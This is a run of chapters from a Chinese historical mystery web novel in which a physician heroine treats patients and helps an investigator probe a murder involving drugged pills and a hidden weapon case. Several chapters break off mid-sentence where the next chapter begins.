她回长安已第五日,来求医的明显少了些,长安城不缺大夫,寻常百姓轻易也不敢登御史中丞的府门,姜离点头,“过去看看。” 临风阁在前院以西,离内院尚远,做她接诊之地对府内影响不大,姜离入月洞门时,便见临风阁厅门半掩,门口守着七八个仆妇。 孟珩正与薛湛站在廊下说话,他今日着苍青五福捧寿团花纹茧绸直裰,外披鸦青云纹斗篷,神容俊逸,英武不凡,他背对来路,正对薛湛道:“你的《寒松赋》我读过,确实文辞斐然,等这案子了了,你回白鹭山书院跟着荀山先生打磨三月,明岁定不愁功名……” 薛湛正点头,目光越过他肩头看到了姜离,立刻道:“长姐回来了。” 孟珩回身看来,见真是她,立时露出笑颜,又迎来几步,“薛姑娘。” 姜离见礼后问:“可是侯爷有何不妥?” 孟珩莞尔道:“不是,我父亲回去这两日好转极多,起初有轻呕之状,按你说的加了药量一上午便好了,今日还在卧床,但精神已好了不少,眼下我来是来致谢的。” 姜离忙道:“我说过——” 话未说完,便见两个侯府小厮抬着两个粗糙的木箱走了出来,那木箱尺来大小,还是素色,一看便不是放金银珠玉的。 孟珩道:“姑娘来看——” 姜离狐疑上前,孟珩将木箱盖子打开,一股子馥郁的幽香立刻飘了出来,姜离倾身一看,眸子亮了起来,“这是……芍药?” 箱内竟是两盆盛放的雪色花株。 孟珩有些意外她能认出,点头道:“不错,是青山卧雪,庆阳公主爱花,尤爱芍药,今冬终将这青山卧雪养了出来,昨日我母亲得她赠了两盆,我想你不要诊金,可救命之恩总要谢的,这两盆花全当一点儿心意,还请你收下。” 景德帝有三位公主,长公主病逝多年,余下庆阳公主与宜阳公主,庆阳公主爱花出名,为养花甚至在长安以北的落霞山上引热泉建别院,别院建成后,再难培育的名花于她也不足为虑,只除了这青山卧雪,姜离当年在长安时,便知她执着此花。 她为难道:“此花千金难求……” 孟珩摇头,“姑娘此言差矣,我父亲的性命无价,姑娘的医术亦是万金难抵,此花再名贵,也不足救命之恩万一,还请姑娘成全。” 姜离还要推拒,孟珩抱拳道:“姑娘还有病人,我便不打扰了,改日再登门。” 他说完当真抬步便走,姜离哭笑不得,见他大步出了月洞门,她叹口气吩咐道:“罢了,那就收下吧,送回盈月楼去——” 言毕她快步进门,广宁伯府的二小姐郭淑妤正站在北窗下等她,她身披藕荷色百花戏蝶纹斗篷,背影纤瘦,乌发如缎,待一转身,五官明秀,面色却极差。 姜离开门见山问:“姑娘有何不适?” 郭淑妤身边只带了一位侍婢,闻言欲言又止地往门口看了一眼,姜离了然,吩咐小锦退去门外守着。 待门扇合上,郭淑妤立刻福身道:“还请姑娘救我!” 姜离一把扶住她,“姑娘不必客气,我自会尽力的,先说病状与病时吧。” 郭淑妤直起身,表情却极其紧张,一旁的紫衣侍婢替她道:“我们姑娘最近一年多受了几次惊吓,第一次是去岁那个奸杀案,后来断断续续又经了几次意外,从那以后,姑娘便得了一种怪病……” 12.有人要杀我 《鹤唳长安》全本免费阅读 “我总觉得有人要杀我。” 紫衣婢女愁云惨雾,终是郭淑妤自己开了口,她双手互攥悬于身前,仔细看,肩膀还微微发着抖。 姜离心底微诧,道:“坐下说——” 二人左右落座,紫衣婢女站在郭淑妤身边道:“您听来可能会觉得古怪,但我家姑娘不是想多了那般简单,也并非中邪,她、她应是病了。” 姜离望着郭淑妤瑟缩的眸子,“坦白说,姑娘的病我是第一次见,请姑娘详细说说,这病是如何开始的?” 紫衣婢女鼓励地看着郭淑妤,郭淑妤深吸口气道:“细论起来是从去岁九月开始的,您不知那时长安城出了个丧心病狂的雨日色魔,陆续害了四五位官家小姐,其中一个姑娘,正是与我们一群人秋游时遇害的。” 郭淑妤语声瑟瑟,尤有余悸,“是礼部主客司郎中郑大人的女儿盈秋,那日我们一行六人去城外三清观后山赏枫,上山时太阳烈烈,待到山顶,却天气突变大雨瓢泼,我们一行人里只盈秋不愿晒太阳打了伞,跟着的护卫车夫则等在观里,见天色没有转晴的意思,她便说,她先带着婢女下山,令随从们上来送伞,不然不知要等多久。” “那后山的路好走,我们也就应了,又等半个时辰,终于等来了送伞的,可一问才知,他们未见盈秋,是看雨不见停自己来送的,我们心底狐疑,先往观里去,到了观里,便见她家的小厮安然等着,因她带了伞,他们便也不曾着急,我们两相一问,发现盈秋二人两个时辰都未回来……” 姜离肃眸道:“她在后山遇害了。” 郭淑妤点头,语声微哑道:“各家随从、观里的师父一起去找,先在林子里找到了被打晕的婢女,又在后山一处废弃的猎屋里找到了盈秋,那时天已经黑了,她死的万分惨烈,我看到她便被吓晕了过去……从那以后,我便觉有人要杀我。” 她语声轻颤,目光恍惚地落在姜离身后,“我先是怕那色魔,整整两个月足不出户,日日命人去衙门问色魔抓到了没有,入了腊月,听说金吾卫已在城外抓到了人,我仍不放心,足足等了七八日,听说那人被五花大绑关入天牢,我这才松了口气,可这时,我还是觉得有人在监视我,有人要杀我……” “因我养的猫儿死了……请了大夫来看,说猫儿可能吃了何种毒物,我那猫儿除了吃些活鱼虾,便是喜欢舔我的燕窝羹,而那日,我正把一小盏都喂给了它……” 姜离蹙眉,“可有找到毒物?” 郭淑妤摇头,“不曾,那些鱼虾活的好好的,厨房的杯盘碗盏都干净,后来他们安慰我,说定是吃了其他腌臜之物有毒,我彼时信了,可过了不到两月,又出意外……” “就在今岁三月,在庆阳公主府赏花时,一盆养在窗台上的白须朱砂梅从三楼掉了下来,正正好砸在我身前,只差一点我便血溅当场。” 姜离道:“此事也是意外?” 郭淑妤蹙眉,“当时楼上人多,但没人看见有谁在窗边,我当时心底害怕极了,可没有证据,也只能自我安慰……” “后来到了五月,我去城外相国寺上香时,府里的马车车轴忽然断了,差点坠下悬崖,我吓坏了,怎么这么多巧合?” “八月时,我出城去玄武湖赏月,也不知怎么就掉下了湖,我当时只觉有人推我,可所有人都有人证,根本无人推我……” 郭淑妤说的眼眶微红,“找不到证据,那便算倒霉,但我一日比一日害怕,连府门也不敢出,所有宴请雅集皆推了,便是在府里,我也时时惊恐不安,让母亲增加嬷嬷奴仆保护我,我母亲急坏了,当我是沾了邪祟,请了许多和尚道士来看,但都无用。后来又请了大夫来看,各式各样安神的药都吃了,却仍不见好……” 她说着一阵哽咽,“若非知道姑娘大名,今日,我甚至不敢出府拜访您。” 姜离也觉古怪,“短短一年,遭遇过三次性命之危,的确会叫人害怕,你惊恐是正常的,伸出手来——” 姜离为郭淑妤问脉,又问:“夜里做什么梦?” 郭淑妤哽咽道:“梦里皆是在被监视被追杀,还梦到盈秋,一夜醒来四五次,白日里惊恐难定,脑中总在幻想窗外有人、门外有人,明知府里是安全的,却也难以控制,想的人头痛欲裂,像要疯了一般……” 姜离凝神片刻,道:“寸脉细软,重按可见,又如豆滚,摇动不宁,乃惊妄之症与悸症齐发,再加上气血虚弱,易生逆乱,如今凛冬又有寒邪入侵,由此畏寒肢冷,胸脘满闷,时伴惊狂恶寒,我开个温通心阳,镇惊安神的方子,你先用两日。” “桂枝三两去皮,干草二两,生姜三两,牡蛎五两,龙骨四两,大枣十二枚,蜀漆三两洗去腥,以上研末后,以水煮一斗二升,先煮蜀漆,减二升后,以诸药煮取三升,去渣后温服一升①……” 姜离一边写一边说,又道:“姑娘可去祭拜过郑姑娘?” 郭淑妤愣了愣,摇头,“我未敢去……” 姜离打量着她,“姑娘不必害怕,你虽有症邪,但并未到病入膏肓之地,你后来种种,皆是由郑姑娘的案子而起,若要彻底治愈,只怕还得想着破除心魔,那色魔后来应该已经被问斩了吧?” 郭淑妤点头,“年末行刑的。” 姜离想了想,“姑娘可敢再回三清观?” 郭淑妤顿时满脸惶恐,“您别吓我……” 姜离叹了口气,“也罢,你去屏风后躺下,我为你施针。” 郭淑妤应声而去,姜离取过针囊,先自厥阴、太阴、少阳行针,又刺阳明、鱼际、大陵、内关几穴,一刻钟后,她收针叮嘱,“三日后,请姑娘再来换方施针。” 郭淑妤穿好衣衫,令婢女付上诊金。 姜离不做推拒收下,亲自将她送出门去,临走之际,姜离忍不住道:“姑娘觉得害怕,那无论府内府外,多增些人手相护也好。” 郭淑妤应是,由一众仆从簇拥着离去。 姜离望着她的背影,心底涌起一股说不清道不明之意,好端端的伯府小姐,真能这般倒霉吗? 薛湛还在等着,此时上来问道:“长姐今日怎么出去了这么久?莫不是孙家姑娘病得严重?” 天色将晚,姜离坦然道:“今日还去了大理寺帮忙,后来又去了段氏。” 薛湛一愕,“和案子有关?” 姜离点头,“不过与你无碍,是发现了凶手下毒之法,段氏那边,则是发现段严在服用丹丸,还有些或许见不得光的财宝往来。” 薛湛瞪大眼睛,“财宝往来?” 雪越来越大了,姜离哈了哈手,“是啊,他只怕赌瘾未绝,不知从何处搜罗来的宝贝,全都记下来了,不过不一定与命案有关,大理寺正在查。” 说完这些,姜离颇感疲累,拢紧斗篷,与薛湛告辞后往盈月楼而去。 一回盈月楼,吉祥便迎道:“姑娘,青山卧雪给您送去楼上了,好漂亮的花儿,孟世子真是有心了,孟家从前掌着神策军,他如今也在神策军当值,很得陛下喜欢。” 几人徐步上楼,姜离道:“孟世子何处当值与我何干?”说着又吩咐小锦,“把我的医书都拿出来。” 吉祥笑道:“芍药在前朝可有定情之意呢。” 姜离无奈摇头,待上楼看到两盆芍药时,倒也忍不住近前,此花花瓣繁叠,雌蕊上绿下白,衬得花朵纯白如雪,因而得名青山卧雪,如此赏心悦目,谁会不喜? 吉祥又道:“奴婢听闻此花是北面飞霜关外之物,那里常年冰天雪地,却有一处青崖山峰高林密,是古越国后裔族地,后来他们归顺大周,这花才入了关,因极难培育,从前只有陛下宫中才可见。” 姜离赏玩片刻,在花下翻起医书来。 吉祥二人见状告退,她们一走,小锦道:“您是要找给郭姑娘治病的法子?” 姜离摇头,“是为了简娴,冬天还有三月,一下雪她只怕便要病发,我得试试有无法子替她缓解,伏羲九针虽可一试,但我怕被有心人认出来,那日救宁远侯,有四针乃是伏羲九针之策,已有些打眼了。” 小锦担忧道:“那些太医会认出来?” 姜离眸光微暗,“从前被义父和师父久治过的人,或被我私下看诊过的,只怕都记得一二,不得不谨慎些……” …… 既有心替简娴治病,翌日用完早膳,姜离便往前院拜访薛琦。 薛琦道:“你是说前朝太医院编著的那套《金匮要略》?那不必入宫相求,薛氏府库中便有珍藏,你要精进医术,父亲让他们去给你找,薛泰——” 薛琦唤来管家吩咐,姜离道:“多谢父亲。” 薛琦顺口问:“昨日去大理寺了?” 姜离也不隐瞒,“不错,如今已查出了下毒之法,裴少卿还将几位公子唤来问询……” 薛琦一惊,“都叫了谁?怎没叫你弟弟?” 姜离懵然道:“叫了虞公子、周公子,还有义阳郡王世子,大抵是他们几个离得近吧?也未问出什么来,后来去了段府,发现段严在服用丹药,还 13.胸痹之症 《鹤唳长安》全本免费阅读 裴晏一言似平地惊雷,苗氏和孙蓁脸色大变,姜离扬了扬眉,难道这两日大理寺找到了新的证据? 唯有赵一铭面不改色,“大人此话何意?” 乌檐覆雪,裴晏一袭月白鹤纹斗篷如寒松玉立,但他眉眼锋锐,目光似一柄寒气四溢的剑悬在赵一铭头顶,“要我在此地说?” 赵一铭审视着裴晏,苗氏看看他,再看看裴晏道:“裴大人,大理寺发现了什么不利铭儿的证据不成?还请大人直言,说不定我能为铭儿作证。” 见状不对,苗氏吩咐下人避退,待廊上只有她们和大理寺的人后,赵一铭也凉凉道,“段严出事那夜,是我第一个发现他生了意外,也是我和虞梓谦先冲下去呼救,后来,更是我抬他上楼,我问心无愧……” 裴晏穆然道:“我何曾说你那夜杀人了?” 赵一铭一愣,下一刻,他不知想到什么,眼底生出了两份犹豫来,裴晏又道:“既然你问心无愧,那便请你解释解释,你给段严的丹丸是何作用?你那夜陷入幻象之中,又到底看到了什么?” 赵一铭眼皮一跳,定声问:“什么丹丸?” 裴晏看姜离一眼,一字不落地复述,“丹砂、雄黄、白矾、紫石英,牛黄、菟丝子,服用后神明开通、体力强健,有催情之效,长用等同服毒——” “曼陀罗、钟乳、硫磺、鹿茸、首乌,同是壮阳致幻之物,亦是慢性之毒。” “龙涎香、缩砂、肉豆蔻、肉桂,米囊子……可兴助阳事,看似壮精益元,但服此丹,会令人骨节欲酥,万念俱无,而后梦境迷离,宛入极乐。” 他语声一沉,“此物可令人上瘾,最终段严会嗜药成性,神志尽失,沦为行尸走肉不说,亦会油尽灯枯丧命,众人只以为是他自甘堕落,却不知那丹丸是你相赠。” 不等赵一铭辩解,他又道:“九月十二,你在长安黑市一个名叫芪翊罗的夷族人手中买来此药,买之时,便已知道此丹丸可怕之处,此人如今已在大理寺衙门候着,可与你当面对质;九月十七前后,你将此物给了段严,段严初尝到此毒之妙,在十九那日与外室相会时,与她同用此毒,后来九月二十七,孙氏登门退亲,段家为了平息孙氏之怒,令人将那外室发卖去了梁州,案发后我们一直在找她下落,昨夜,她被带回了长安。” 裴晏语气平静,可落在众人耳中,却格外有种掷地有声之效,“不仅如此,最近三月,你明知段严对你多有打压之意,却还他走的颇近,这并非是你甘愿向他低头,是只有如此,你才能诱导他不断沦落,最终走向万劫不复之地。” “十月初一,你为缉拿匪寇所受之伤还未愈,但你却以匪寇未尽之名,令段严于西市协查,但实际上,你带他去了西市的万宝赌坊,当日段严在赌坊内赢白银三百两,后来一月,他常以公务做掩护前往此地赌钱,万宝赌坊的老板交代,说你为了使段严尽兴,第一次的三百两白银是你自掏腰包做的彩头,段严是你半个上司不假,但你做人情却不做在明处,不过是因为你知他家中正帮他戒赌,而你不希望他改邪归正……” 裴晏言辞详尽,人证俱全,听得苗氏与孙蓁胆战心惊。 苗氏殷切道:“裴大人,这其中是不是有什么误会,铭儿性情纯直,段严又比他升得快,许是段严要他作陪呢?还有那些丹丸,一听便是下九流的路子,但许多沉迷享乐的富贵子弟都沾过,段严放浪惯了,他若要铭儿替他找这些东西,铭儿不好推拒……” 苗氏句句替赵一铭开脱,裴晏面不改色道:“若是替段严行事,那他何以让那夷族人,特意加重丹丸中的米囊子之量?我们已经让夷族人辨认了段府中找到的丹丸,他可以肯定,正是他按赵一铭要求,改了方量重做的那瓶。段严的外室玉娘也说,段严提过此药乃旁人孝敬,并非他自己命人寻找,段严没必要对此人撒谎。” 苗氏一时哑口,急急看向赵一铭,“铭儿——” 孙蓁也白着脸唤,“表哥……” 赵一铭冷笑一下,仍是镇定,“裴大人应知道,去岁段严立了大功,如今已高我一阶,再加上我知道他背后有段国公府、有肃王府倚仗,将来只会升的更快,那我自不想因为去岁与他争功而生嫌隙,于是今岁,我便想着法子弥补一二,对段严而言,如何弥补最行之有效?那自然是投其所好——” 他似笑非笑道:“他好赌,我便让他赢的高兴,他喜声色犬马,那我便寻丹药为他助兴,自然,这些下九流之物上不得台面,可这在高门世家何等寻常?不是每一家都像裴氏那般克己慎行光风霁月,若说赠些丹丸便是想神不知鬼不觉要他性命,那也太小题大做。何况段严是被刺死,我若谋划好了给他吃慢性毒药,又何必多此一举?” 满长安皆知裴氏家训当首便是“克己慎行”四字,但经由赵一铭如此说来,莫名有了几分讽刺之感,裴晏倒不做怒,他静静道:“若靠丹药,少则半载,多则年余,你等得起,你表妹等得起吗?你那夜于幻象撒谎,是因为看到了孙姑娘吧?” 话音落定,赵一铭面色一白,苗氏和孙蓁也是一呆。 赵一铭上前半步,愤然道:“裴大人怀疑我没什么,但此言实在冒犯蓁蓁,她与此案可有干系?” 裴晏道:“孙姑娘确与此案无关,但我让你做过选择。” 孙蓁面上青白交加,轻咳两声后,戚戚地望着赵一铭,赵一铭咬紧牙关道:“我那夜所言幻象句句为真,裴大人严刑峻法断案如神,总不是靠猜测来定人嫌疑吧?是,丹药确是我赠,但也只九月赠过那一次罢了,您说的另外两种我并不知情,段严自己本就是耽于酒色、醉生梦死之辈,我不送,早晚也会有别人送到他手上!” 裴晏不听他诡辩,“但偏偏送的人是你,你对段严本有歹意,再加上你那夜证供有撒谎之处,还需回大理寺详细交代,来人——” 苗氏慌忙道:“裴大人,铭儿他就算真的送了那劳什子丹药,但、但他不可能在近日害人的……” 孙蓁哽咽道:“表哥,你是为了我吗?” 见她们母子如此,赵一铭胸膛一阵起伏,又安抚道:“不是,没事的,裴大人要查问,我便随他们去一趟,我问心无愧,何曾怕问证?” 他目光决然,只想快点离开孙府,可不知怎么,他刚一迈步,呼吸骤然急促起来,又一把按住起伏的胸口,面上血色尽退—— 苗氏大惊,“铭儿——” 在苗氏的惊呼中,赵一铭按着胸口倒了下去,姜离旁观半晌,见状不对,立刻快步上前来,“怎么回事?胸口痛?” 赵一铭汗如雨下,人也意识不清,苗氏红着眼道:“薛姑娘,他患有胸痹之症,此前本来大好了,可受了一次伤又复发了,您快救救他——” 姜离忙道:“把人抬进厅里。” 裴晏也未想到赵一铭会突然发病,他抬了抬手,卢卓、思危几人立刻上前抬人,进了前厅,赵一铭被放在了西窗下的长榻上。 姜离一边诊脉一边吩咐小锦,“护心丸——” 小锦打开医箱,找出一粒药丸给赵一铭喂了下去,姜离面色严峻道:“脉象浮之实如麻豆,按之益躁动疾,有心血枯竭之兆,得施针,小锦——” 小锦应声取出针囊,苗氏红着眼道:“幸好幸好,幸好有薛姑娘在,否则真不知如何是好……” 姜离开始施针,裴晏默然问:“是自幼的病?” 苗氏哀怨地瞪裴晏一眼,“十几岁发的,后来好容易治的差不多了,为了不影响他求功名,便没几个外人知道,九月底他受了伤,当时便复发了,养了几日也不敢叫人知道,只说是旧伤未愈,所以我说啊,大人,就算铭儿穷凶恶极要杀人了,也不会挑在近日动手,他的病切忌忧思紧张、大喜大怒,杀人这样的事,总不能心平气和去办吧?万一出个岔子,还能做到滴水不漏吗?” 长榻上赵一铭鞋袜已除,姜离正行针京骨、昆仑二穴,苗氏又道:“那夜段严出了乱子,铭儿便不大好,回府之后立刻用了两副稳心之药,您说,他和段严到底不是什么血海深仇,他何必冒着性命危险去杀人?” 胸痹之症受惊大厥或可毙命,赵一铭的确没必要拿自己的性命冒险。 裴晏面沉如水,赵一铭破绽最多,可他的病况一出,几处破绽便愈发不致命了,相反,当日的乱子不仅要了段严的性命,对赵一铭而言亦是危机。 他未言语,只将目光落在给赵一铭施针的姜离身上,她今日穿一袭丁香十样锦妆花褙子,下着蜜合色竹纹褶裙,纤细笔挺的背脊,似不畏凌寒的君子兰枝,她正请着脉,目光一错不错地落在赵一铭脸上,眼底虽尽是严肃,可只瞧她安稳如山地坐着,便觉世间一切病痛折磨都可被她素手化解。 半刻钟后,赵一铭轻咳一声醒了过来。 苗氏倾身近前,“铭儿,你觉得怎么样?还痛不痛?” 孙蓁抹了抹眼角,也上前道:“表哥……” 赵一铭呼出一口气,看了看给自己取针的姜离,先道谢道:“多谢薛姑娘了,婶婶,已经好多了……” 姜离去完针,问道:“平日用的什么药?” 赵一铭道:“用的乌头丸方。” 姜离略一思忖道:“除了乌头丸之外,再以升麻、黄岑,桔梗,桂心各两钱熬汤,与乌头丸一起温服,连服三日便可。” 赵一铭面色仍是惨白,闻声应是,复又看向裴晏,“裴大人,我与段严最大的嫌隙您想来清楚,便是去岁的奸杀案,那案子我们折了一个兄弟,好容易查到了犯人行踪,只等埋伏抓捕了,却被他将线索占为己有,抢先一步出城去追,但就这样,他们也硬生生抓了半个多月才抓到人,这怎叫人服气……” 裴晏默了默,道:“你既认了米囊子的丹丸是你所赠,那便容你今日养病,明日寅时来大理寺录证供,我们尚有公务,便告辞了。” 苗氏和孙蓁都松了 14.我知道了! 《鹤唳长安》全本免费阅读 “徐州菜风味清鲜,浓而不腻,我有位表姑祖母早年嫁去徐州,母亲曾去住过两年,对徐州美食念念不忘,后来专门请师父学过。” 郭淑妤亲手给姜离盛汤,又柔声道:“也不知您何时用的早膳,这汤您先尝尝,余下的是徐州点心,也是母亲亲手做的,让下人们收起来品茶时用,路上远多有不便,您下回来府上,母亲能为您做大桌徐州菜……” 盛情难却,姜离接过黄亮鲜醇的鸭汤,尝过后赞道:“果然鲜美。” 郭淑妤便放心的笑了,但很快,又面生愁色道:“听说徐州水患死了不少人,真是可怜见的,朝廷每年都在治水,但还是年年洪涝。” 姜离回长安多日,长安城关于她的流言已来回传了几遍,如今人人皆知,她幼时先是被拐去了徐州白水县,几年后养父母病重,临终时将她托付给了一位江湖医家,由此开始学医济世。 而她之所以被舅舅简伯承找到,乃是今夏徐州水患死了万人,她北上救灾时被几个乞丐劫了财物,其中一块碧玉长命锁,正是当年简老太爷亲手雕刻,巧合的是,当地县尉曾是简伯承部下,还为简伯承找过外甥女下落,县尉替她追回财物时认出独一无二的碧玉锁,立刻朝简伯承报信,这才有后来的认祖归宗。 见郭淑妤伤怀,一旁年纪大些的伯府嬷嬷道:“早年间朝廷有一位大人极善治水的,若那位大人在,这些年的水患不知要少多少……” 嬷嬷说的正是沈栋,但时隔多年,郭淑妤彼时尚年幼,只有所耳闻,并不清楚内情,姜离这时饮完了汤,再道谢后,倾身为郭淑妤请脉。 郭淑妤殷切地看着她,“薛姑娘,我可大好了吗?” 姜离摇头,“病去如抽丝,姑娘不可心急,从脉象来看比前三日前平稳,但仍不可大意,这几日可还有噩梦?” 郭淑妤叹道:“比此前少,但梦里还是有人监视我,且、且我还梦见过盈秋。” 姜离温声问:“郭姑娘可是因郑姑娘自责?” 郭淑妤垂下眼眸,“那日实在不该让她先走的,否则也不会出事,我们同行的都为此自责,可也只有我胆小,整日自己吓自己……” 姜离安慰道:“姑娘与郑姑娘的情谊定然非比寻常,你如此记挂她,她九泉之下也会安息的,今日的方子我要再加两味药……” “小锦,茯神两钱、远志一钱。” 小锦应是,很快写好新方,姜离看过无误后,请郭淑妤入屏风后施针。 郭淑妤半宽衣躺在榻上,轻声问:“听闻前几日段家公子在登仙极乐楼出了事,姑娘还去过那里?” 案发已有六日,姜离不知她为何问起,应道:“不错,段氏以为我能起死回生,请我去救人,且出事那日,我二弟也在。” 郭淑妤忙问:“那如今可查出凶手了?” “还不曾,姑娘认得段公子?” 郭淑妤道:“倒不算认识,是去岁那案子,我天天着人去金吾卫打探,后来得知是他将恶人捉拿归案,因此有两分印象,当时受害者家属都登门致谢,他也因此得了擢升,我心底也是感激的,却没想到时隔一年他也出了事。” 郭淑妤有此言,可见满长安都将此案功劳归到了段严身上,也难怪赵一铭气不过,姜离便道:“当时办案的不止他,也有其他都尉与武卫。” 郭淑妤应是,“我听说了,当初这案子遇害的都是官家小姐,在长安城闹得很大,大半个右金吾卫衙门都在追捕恶贼,听说还折了一位差役,那段公子也是用了些手段才将那恶贼抓回来的……” 姜离倒不知此事,“什么手段?” 郭淑妤道:“那恶贼混过江湖,有些功夫,据说是段公子设了什么陷阱……我家下人从金吾卫武卫那打探来的,也未详说。” 抓捕凶犯多要设伏,姜离也不意外,待施完针,又交代郭淑妤,“这几日天寒,万不可侵了寒气,三日之后再来施针。” 微微一顿,她看向那食盒,“姑娘可知这隔热的暗盒,是如何打造?” 郭淑妤自然不懂,只去看身边嬷嬷,便听嬷嬷道:“奴婢记得是城南开明坊董氏兵器铺子打的,他们有自己的作坊,除了锻造兵器,还能烧制市面上难见的铜铁器物,前岁夫人得知宫中尚食局有专为陛下用的隔热食盒,便寻了暗盒样子找铺子打,问了一圈,只有董事兵器铺能打,只是打此物比买一把兵刃还贵,若非夫人喜欢做做菜肴,我们府上不会费这些金银。” 姜离心中有数,点头道:“我知道了,多谢。” 送走郭淑妤一行,姜离先吩咐如意,“待会儿你去母亲那边看看,看何时方便,我这两日过去看看她。” 如意应是,她又唤吉祥,“备马车,我们去城南走一趟。” …… 马车驶入开明坊时,已是申时过半,路上边走边问,没多时便到了董氏兵器铺前。 姜离下的马车,只见铺子门面并不大,店内摆着大大小小五六副兵器架,刀枪剑戟、斧钺钩叉,一片森寒肃杀之气。 “这位姑娘,您要买什么?” 柜台后年过不惑的掌柜见姜离衣饰不凡,立刻热络相问,姜离道:“我想打一副隔热的食盒,敢问贵店可打得出?” 掌柜的面露了然,热情的迎出来道:“打得出打得出,就是这价格有些贵,不知姑娘要打多大的,预算几何?” 姜离莞尔:“劳驾您给我讲讲您家的隔热效性如何,我只要最好的。” 掌柜生的细眉长眼,满面精明,闻言立刻做请道:“您请入内堂说话,小人给您细说便是……” 姜离点头跟上,一入内堂,眼前竟豁然开朗,只见内堂比前店大有五倍不止,除了各式各样的兵器外,还有颇多姜离未见过的铜铁器具。 掌柜走到其中一张长案边上,指着一个尺高的铜缶道:“您请看,此物便与您要的类似,您要的只怕要更精致些——” 眼前的铜缶四四方方,镌刻兽纹,上有顶盖,掌柜的先敲了敲铜缶,“您听,这声音是否与别的铜器不一样?” 敲击之声发闷,远不如别的铜器清脆。 掌柜笑道:“首先,这铜比其他青铜炼化的温度更高,只有我们的作坊能炼,其次,此物乃双层铜器,这铜壁夹层是空的,封口之时还经过特殊处理,再加上夹层内壁被我们镀了一层薄银,便尤其能隔热了,您听我说的简单,但要做到严丝合缝,整个长安城只有我们一家,包括这顶盖都是夹层中空……” 姜离听得认真,“敢问封口之时如何处理?” 掌柜高深一笑,“姑娘,这本是不传之秘,但您一看便是贵客,我便也不瞒您了,这双层合璧做好之前,是要留一处口子的,而后在封口内灌满银汞,封口时将铜缶倒置,令那银汞泪泪而出,将要流净之时,立刻浇铸封死,如此做出来的铜缶比任何器物都要隔热,如今这么冷的天,我们晨间装满热水,到了晚上还是温的。” 掌柜说的得意,姜离便道:“能隔热,那也能做冰鉴吧?” 掌管的立刻道:“您说对了,您眼前此物,其实就是一方冰鉴,夏日里在里头储冰,再放于阴凉之地,可保冰三日不化,便无需大张旗鼓地修筑冰窖了,长安贵人府中,家家皆有此物,你说的食盒,则比此物更为精巧,还得便于携带,打造的人虽不多,但也有那么几家在我们铺子里定过,您看您要多大的?” 姜离微微一笑,“比食盒更精巧之物,不知你们能否做出?” 掌柜的眉梢一扬,“没有我们做不出的!” 姜离点头,抬手朝掌柜身后一指,“做这个刀鞘一般大小的可行?” 掌柜回身一看,见姜离指的竟是一把半尺短刀,那刀鞘比人手腕还细,他顿时愁眉苦脸起来,“姑娘,您这太为难小人,小人这里,最小最小的也只做过香盒大小的,这刀鞘可实在太细了些,那夹层极难做啊。” 姜离疑惑道:“香盒大小?” 掌管的抬手比划,“大抵半尺长,两寸宽,一寸半厚,因铜壁厚,里头的香膏装不了多少,也不知是用来干什么的,但就那小玩意,我们做了半月才做出来,因此定价百两,不算便宜,但您也知道,我们这一行越袖珍越是贵。” 掌管的本以为如此说,眼前眉目如画的姑娘定要不快,可谁知话音刚落,眼前人竟露出了满意的笑容。 姜离问道:“敢问您,那香盒是何时做的?让您做香盒的人又是谁?” 掌柜的一愣,品出几分不对劲来,“您这是要……” 姜离坦诚道:“您答问便是了,您此刻不答,晚些时候,大理寺也会来人问的,此物或许和一桩命案有关,如今我来问,还不影响你们做生意。” 掌柜的脸色几变,“您……您通身的矜贵雍容,一看便不似寻常人家出身,可半点不像衙门探子啊,您可别诓我……” 姜离莞然道:“万一我是呢?” 姜离越是气定神闲,掌柜的越是害怕,他艰难地吞咽了一下,“姑娘,不知您为何而来,但……但那定做香盒的客人,并没有留下姓名与身份,他是两月前来下定的,下定来一次,取来一次,都是二更天来,且面戴黑巾,始终未取下,我们虽在长安,但也偶有江湖人士前来,不露容貌、不留姓名都是常事,银钱给足便好。” 姜离笑意淡下去,“当真?” 掌柜苦涩道:“自然不敢哄骗您。” 姜离秀眉蹙起,“若在那香盒里头存冰,再居暖室,可多久不化?” 掌柜的苦思片刻道,“香盒不比冰鉴,又是在暖室内,那、那至多一个时辰不化,一个时辰之后,便要慢慢化开了……” 姜离点了点头,“您可记得那人身形声音如何?” 掌柜的眉头拧起,艰难道:“若是没记错,人应有五尺来高,身形清瘦,声音也就是低沉些的男子声,他只说过两三句话,也是问存冰多久。” “再无别的特征?” 掌柜摇头,“我们这里每日南来北往不少客人,他又蒙着脸,只记得其人通身黑衣神秘莫测,别的真无印象……” 姜离眉目暗了下来,“那好,我家住平康坊薛府,劳烦您再仔细想想,若想到了什么,来薛府告知我便是。” 她目光扫视一圈,复指着那半尺短刀道:“那把刀我要了。” 让人担惊受怕一场,好歹得把生意做了,可掌柜的苦涩道:“姑娘,这把刀尚未开刃。” 姜离仍付银钱,“那便开刃之后送来薛府吧,先告辞了。” 她前脚一走,后脚掌柜的便唤经手香盒的其中一个伙计来,仔仔细细复盘了那香盒的买卖后,禁不住出了一身冷汗,“不会真出事吧?” 伙计安慰道:“您也不必全信了那小娘子的话,只怕是哪家在追查什么隐秘,怎么就扯上大理寺和人命官司了?” 掌柜的无奈道:“她话说的真真的,且平康坊薛府我可只知道一家,那可是顶大的官,不是咱们招惹得起的。” 伙计一脸的将信将疑,这时,店外长街上响起一阵震耳的马蹄声,不多时,几个身着圆领武袍的大理寺武卫在店外勒了马。 伙计瞪大眼睛,“真来啊……” …… “姑娘,咱们去大理寺吗?” 回程的马车上,小锦试探着问,姜离摇头道:“虽想到了凶手携带凶器的办法,但没有凶手的确切线索,不必专门跑一趟。” 小锦脸颊皱作一团,“凶手两个月前便来定香盒,是那时候便想到杀人了,但半尺长的香盒铜铁打造,如何藏在身上呢?那夜大理寺还搜过身,难道是冬日衣裳厚实,藏在了怀中?但那也会被摸到吧……” 小锦不住絮语,姜离的心思却不在香盒上,就算知道凶手如何藏匿凶器,可后来凶器已经凭空消失,便是找到跟前 第 15 章 断骨 《鹤唳长安》全本免费阅读 “姑娘,裴大人来了——” 天还未大亮,姜离的马车便停在了顺义门外,等了两盏茶的功夫后,方才听怀夕轻唤一声,姜离掀帘去看,便见一片冰天雪地里,裴晏着一袭月白银纹圆领武袍策马而来,马背上的他虽是姿容如玉,却眉梢冷峭,身挺如剑,英武慑人。 姜离眯了眯眸子,从前的裴晏克己守礼宛若圣贤,总会叫人忘记他的手除了赋文修书也可扬刀舞剑,而今时移世易,裴晏令人陌生之地越来越多了。 